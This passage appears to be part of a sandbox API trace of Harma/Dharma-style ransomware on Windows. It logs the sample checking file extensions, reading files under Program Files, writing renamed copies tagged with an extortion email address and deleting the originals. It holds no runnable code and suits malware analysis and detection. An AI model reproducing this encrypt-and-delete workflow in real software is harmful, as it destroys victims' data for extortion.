Shared\\GRPHFLT\\MS.JPG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0043.525] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0043.525] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.525] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.525] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0043.526] GetLastError () returned 0x0 [0043.526] ReadFile (in: hFile=0x1a4, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0x425, lpOverlapped=0x0) returned 1 [0043.684] WriteFile (in: hFile=0x1ac, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0x430, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0x430, lpOverlapped=0x0) returned 1 [0043.685] ReadFile (in: hFile=0x1a4, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0x0, lpOverlapped=0x0) returned 1 [0043.685] WriteFile (in: hFile=0x1ac, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0043.685] SetEndOfFile (hFile=0x1ac) returned 1 [0043.686] CloseHandle (hObject=0x1ac) returned 1 [0043.687] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.687] SetEndOfFile (hFile=0x1a4) returned 1 [0043.688] CloseHandle (hObject=0x1a4) returned 1 [0043.688] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0043.688] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg")) returned 1 [0043.689] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0043.689] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0043.689] lstrlenW (lpString=".doc") returned 4 [0043.689] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0043.689] lstrlenW (lpString=".docx") returned 5 [0043.689] lstrcmpiW (lpString1=".docx", lpString2="S.JPG") returned -1 [0043.689] lstrlenW (lpString=".pdf") returned 4 [0043.689] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0043.689] lstrlenW (lpString=".xls") returned 4 [0043.689] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0043.689] lstrlenW (lpString=".xlsx") returned 5 [0043.689] lstrcmpiW (lpString1=".xlsx", lpString2="S.JPG") returned -1 [0043.689] lstrlenW (lpString=".ppt") returned 4 [0043.689] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0043.689] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0043.689] lstrlenW (lpString=".zip") returned 4 [0043.689] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0043.689] lstrlenW (lpString=".rar") returned 4 [0043.689] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0043.689] lstrlenW (lpString=".bz2") returned 4 [0043.689] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0043.689] lstrlenW (lpString=".7z") returned 3 [0043.689] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0043.689] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0043.690] lstrlenW (lpString=".dbf") returned 4 [0043.690] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0043.690] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0043.690] lstrlenW (lpString=".1cd") returned 4 [0043.690] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0043.690] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0043.690] lstrlenW (lpString=".jpg") returned 4 [0043.690] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0043.690] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0043.690] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0043.690] lstrlenW (lpString=".doc") returned 4 [0043.690] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0043.690] lstrlenW (lpString=".docx") returned 5 [0043.690] lstrcmpiW (lpString1=".docx", lpString2="S.JPG") returned -1 [0043.690] lstrlenW (lpString=".pdf") returned 4 [0043.690] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0043.690] lstrlenW (lpString=".xls") returned 4 [0043.690] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0043.690] lstrlenW (lpString=".xlsx") returned 5 [0043.690] lstrcmpiW (lpString1=".xlsx", lpString2="S.JPG") returned -1 [0043.690] lstrlenW (lpString=".ppt") returned 4 [0043.690] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0043.690] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0043.690] lstrlenW (lpString=".zip") returned 4 [0043.690] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0043.690] lstrlenW (lpString=".rar") returned 4 [0043.690] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0043.690] lstrlenW (lpString=".bz2") returned 4 [0043.690] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0043.690] lstrlenW (lpString=".7z") returned 3 [0043.690] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0043.691] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0043.691] lstrlenW (lpString=".dbf") returned 4 [0043.691] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0043.691] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0043.691] lstrlenW (lpString=".1cd") returned 4 [0043.691] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0043.691] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0043.691] lstrlenW (lpString=".jpg") returned 4 [0043.691] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0043.691] lstrcmpiW (lpString1=".xml", lpString2=".harma") returned 1 [0043.691] lstrlenW (lpString="Alphabet.xml") returned 12 [0043.691] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0043.693] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x238ff1c | out: lpFileSize=0x238ff1c*=791686) returned 1 [0043.693] CloseHandle (hObject=0x1a4) returned 1 [0043.693] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml")) returned 0x20 [0043.693] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0043.693] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0043.693] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0043.693] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0043.693] lstrlenW (lpString=".doc") returned 4 [0043.693] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0043.693] lstrlenW (lpString=".docx") returned 5 [0043.693] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0043.693] lstrlenW (lpString=".pdf") returned 4 [0043.693] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0043.693] lstrlenW (lpString=".xls") returned 4 [0043.693] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0043.693] lstrlenW (lpString=".xlsx") returned 5 [0043.694] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0043.694] lstrlenW (lpString=".ppt") returned 4 [0043.694] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0043.694] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0043.694] lstrlenW (lpString=".zip") returned 4 [0043.694] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0043.694] lstrlenW (lpString=".rar") returned 4 [0043.694] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0043.694] lstrlenW (lpString=".bz2") returned 4 [0043.694] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0043.694] lstrlenW (lpString=".7z") returned 3 [0043.694] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0043.694] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0043.694] lstrlenW (lpString=".dbf") returned 4 [0043.694] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0043.694] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0043.694] lstrlenW (lpString=".1cd") returned 4 [0043.694] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0043.694] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0043.694] lstrlenW (lpString=".jpg") returned 4 [0043.694] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0043.694] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0043.694] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0043.694] lstrlenW (lpString=".doc") returned 4 [0043.694] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0043.694] lstrlenW (lpString=".docx") returned 5 [0043.694] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0043.694] lstrlenW (lpString=".pdf") returned 4 [0043.694] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0043.694] lstrlenW (lpString=".xls") returned 4 [0043.694] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0043.694] lstrlenW (lpString=".xlsx") returned 5 [0043.695] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0043.695] lstrlenW (lpString=".ppt") returned 4 [0043.695] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0043.695] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0043.695] lstrlenW (lpString=".zip") returned 4 [0043.695] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0043.695] lstrlenW (lpString=".rar") returned 4 [0043.695] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0043.695] lstrlenW (lpString=".bz2") returned 4 [0043.695] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0043.695] lstrlenW (lpString=".7z") returned 3 [0043.695] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0043.695] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0043.695] lstrlenW (lpString=".dbf") returned 4 [0043.695] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0043.695] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0043.695] lstrlenW (lpString=".1cd") returned 4 [0043.695] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0043.695] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0043.695] lstrlenW (lpString=".jpg") returned 4 [0043.695] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0043.695] lstrcmpiW (lpString1=".xml", lpString2=".harma") returned 1 [0043.695] lstrlenW (lpString="Content.xml") returned 11 [0043.695] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0043.696] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x238ff1c | out: lpFileSize=0x238ff1c*=27045) returned 1 [0043.696] CloseHandle (hObject=0x1a4) returned 1 [0043.696] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml")) returned 0x20 [0043.696] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0043.696] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0043.696] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0043.696] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0043.696] lstrlenW (lpString=".doc") returned 4 [0043.696] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0043.696] lstrlenW (lpString=".docx") returned 5 [0043.696] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0043.696] lstrlenW (lpString=".pdf") returned 4 [0043.696] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0043.696] lstrlenW (lpString=".xls") returned 4 [0043.696] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0043.696] lstrlenW (lpString=".xlsx") returned 5 [0043.696] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0043.696] lstrlenW (lpString=".ppt") returned 4 [0043.697] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0043.697] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0043.697] lstrlenW (lpString=".zip") returned 4 [0043.697] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0043.697] lstrlenW (lpString=".rar") returned 4 [0043.697] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0043.697] lstrlenW (lpString=".bz2") returned 4 [0043.697] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0043.697] lstrlenW (lpString=".7z") returned 3 [0043.697] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0043.697] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0043.697] lstrlenW (lpString=".dbf") returned 4 [0043.697] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0043.697] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0043.697] lstrlenW (lpString=".1cd") returned 4 [0043.697] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0043.697] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0043.697] lstrlenW (lpString=".jpg") returned 4 [0043.697] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0043.697] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0043.697] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0043.697] lstrlenW (lpString=".doc") returned 4 [0043.697] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0043.697] lstrlenW (lpString=".docx") returned 5 [0043.697] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0043.697] lstrlenW (lpString=".pdf") returned 4 [0043.697] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0043.697] lstrlenW (lpString=".xls") returned 4 [0043.697] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0043.697] lstrlenW (lpString=".xlsx") returned 5 [0043.697] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0043.697] lstrlenW (lpString=".ppt") returned 4 [0043.697] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0043.698] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0043.698] lstrlenW (lpString=".zip") returned 4 [0043.698] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0043.698] lstrlenW (lpString=".rar") returned 4 [0043.698] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0043.698] lstrlenW (lpString=".bz2") returned 4 [0043.698] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0043.698] lstrlenW (lpString=".7z") returned 3 [0043.698] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0043.698] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0043.698] lstrlenW (lpString=".dbf") returned 4 [0043.698] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0043.698] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0043.698] lstrlenW (lpString=".1cd") returned 4 [0043.698] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0043.698] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0043.698] lstrlenW (lpString=".jpg") returned 4 [0043.698] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0043.698] lstrcmpiW (lpString1=".avi", lpString2=".harma") returned -1 [0043.698] lstrlenW (lpString="boxed-correct.avi") returned 17 [0043.698] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0046.219] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x238ff1c | out: lpFileSize=0x238ff1c*=89600) returned 1 [0046.219] CloseHandle (hObject=0x1d4) returned 1 [0046.219] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi")) returned 0x20 [0046.219] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0047.000] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.217] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0047.217] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0047.217] lstrlenW (lpString=".doc") returned 4 [0047.217] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0047.217] lstrlenW (lpString=".docx") returned 5 [0047.217] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0047.217] lstrlenW (lpString=".pdf") returned 4 [0047.217] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0047.217] lstrlenW (lpString=".xls") returned 4 [0047.217] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0047.217] lstrlenW (lpString=".xlsx") returned 5 [0047.217] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0047.217] lstrlenW (lpString=".ppt") returned 4 [0047.217] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0047.217] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0047.217] lstrlenW (lpString=".zip") returned 4 [0047.217] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0047.217] lstrlenW (lpString=".rar") returned 4 [0047.217] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0047.217] lstrlenW (lpString=".bz2") returned 4 [0047.217] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0047.217] lstrlenW (lpString=".7z") returned 3 [0047.217] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0047.217] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0047.217] lstrlenW (lpString=".dbf") returned 4 [0047.217] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0047.217] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0047.217] lstrlenW (lpString=".1cd") returned 4 [0047.218] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0047.218] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0047.218] lstrlenW (lpString=".jpg") returned 4 [0047.218] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0047.218] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0047.218] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0047.218] lstrlenW (lpString=".doc") returned 4 [0047.218] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0047.218] lstrlenW (lpString=".docx") returned 5 [0047.218] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0047.218] lstrlenW (lpString=".pdf") returned 4 [0047.218] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0047.218] lstrlenW (lpString=".xls") returned 4 [0047.218] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0047.218] lstrlenW (lpString=".xlsx") returned 5 [0047.218] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0047.218] lstrlenW (lpString=".ppt") returned 4 [0047.218] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0047.218] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0047.218] lstrlenW (lpString=".zip") returned 4 [0047.218] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0047.218] lstrlenW (lpString=".rar") returned 4 [0047.218] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0047.218] lstrlenW (lpString=".bz2") returned 4 [0047.218] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0047.218] lstrlenW (lpString=".7z") returned 3 [0047.218] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0047.218] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0047.219] lstrlenW (lpString=".dbf") returned 4 [0047.219] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0047.219] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0047.219] lstrlenW (lpString=".1cd") returned 4 [0047.219] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0047.219] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0047.219] lstrlenW (lpString=".jpg") returned 4 [0047.219] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0047.219] lstrcmpiW (lpString1=".avi", lpString2=".harma") returned -1 [0047.219] lstrlenW (lpString="split.avi") returned 9 [0047.219] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0047.524] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x238ff1c | out: lpFileSize=0x238ff1c*=194048) returned 1 [0047.524] CloseHandle (hObject=0x1a0) returned 1 [0047.524] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi")) returned 0x20 [0047.524] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0047.524] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.524] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0047.524] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft 